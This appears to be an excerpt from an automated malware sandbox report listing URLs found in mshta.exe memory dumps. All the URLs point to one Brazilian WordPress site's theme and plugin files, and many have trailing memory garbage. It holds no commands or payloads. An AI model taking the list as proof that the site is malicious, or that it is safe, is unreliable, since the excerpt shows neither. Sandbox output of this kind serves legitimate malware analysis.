Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngpng0
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngs/bootstrap.min.js?ver=2.3.0
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png
Source: mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png$
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png5501425981.pngn.js.3.0
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20.2=
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20C:
Source: mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20Oi
Source: mshta.exe, 00000008.00000002.1178330848.0000000005407000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
Source: mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2ii
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172304935.0000000003A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.d
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.c
Source: mshta.exe, 00000008.00000002.1170406636.00000000031F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextra
Source: mshta.exe, 00000008.00000002.1178615460.00000000054AF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1039289175.0000000004A23000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1038970768.0000000004A21000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174869500.0000000004A28000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1039338109.0000000004A25000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1039407918.0000000004A27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js
Source: mshta.exe, 00000008.00000002.1172304935.0000000003A2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.cs
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver
Source: mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.cs
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFra
Source: mshta.exe, 00000008.00000003.1061744000.0000000003804000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1093595277.0000000003804000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1093794569.0000000003807000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1061861096.0000000003807000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171474551.0000000003808000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/admin/data_management/
Source: mshta.exe, 00000008.00000002.1170406636.00000000031F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/admin/data_management/q
Source: mshta.exe, 00000008.00000002.1180960373.000000000648A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
Source: mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0(
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0gl
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.36~
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3C:
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css
Source: mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css===typf
Source: mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.cssar
Source: mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.cssstr
Source: mshta.exe, 00000008.00000003.1035827310.000000000468B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173969677.000000000468D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167470567.00000000002E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036058154.000000000468C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.40ET4.0E)0=
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.42.9.2
Source: mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.44.0C;
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4?ver=2.1.0
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4C:
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)$=
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4US
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0=1.0
Source: mshta.exe, 00000008.00000002.1170406636.00000000031F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.com
Source: mshta.exe, 00000008.00000002.1171814085.000000000394D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0x
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167470567.00000000002E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.01.0)h
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.09
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0=1.00E)
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0=1.06_pai
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0US
Source: mshta.exe, 00000008.00000003.1035827310.000000000468B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173969677.000000000468D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036058154.000000000468C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0http://facextra
Source: mshta.exe, 00000008.00000003.1039289175.0000000004A23000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1038970768.0000000004A21000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174869500.0000000004A28000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1039338109.0000000004A25000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1039407918.0000000004A27000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172277354.0000000003A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0&l
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0-US
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.00E)
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.00E)Hl
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.019
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0#
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0.3
Source: mshta.exe, 00000008.00000003.1035827310.000000000468B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173969677.000000000468D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036058154.000000000468C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0http:
Source: mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.21.2.1
Source: mshta.exe, 00000008.00000002.1177408982.00000000052D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2:29:C:
Source: mshta.exe, 00000008.00000003.1061193305.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1169795103.0000000002FF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2P
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2T=
Source: mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2d.min.css
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1=
Source: mshta.exe, 00000008.00000002.1167157736.000000000023E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177426727.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1?
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1M
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1S
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167379438.000000000029B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0.3#
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0.3&
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.00
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0ET4.0E)
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1035827310.000000000468B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173969677.000000000468D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1036058154.000000000468C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177475121.00000000052F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0)
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167470567.00000000002E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
Source: mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0)
Source: mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.09.20
Source: mshta.exe, 00000008.00000002.1180809282.0000000006454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0P
Source: mshta.exe, 00000008.00000003.1039289175.0000000004A23000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1038970768.0000000004A21000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174869500.0000000004A28000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1039338109.0000000004A25000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1039407918.0000000004A27000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1167299804.0000000000287000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6-US
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.60C;
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6n.js
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6png
Source: mshta.exe, 00000008.00000002.1172098777.00000000039C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6ver=2.3.0
Source: mshta.exe, 00000008.00000002.1180659727.0000000006420000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171875953.000000000395D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1177709846.000000000534C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3
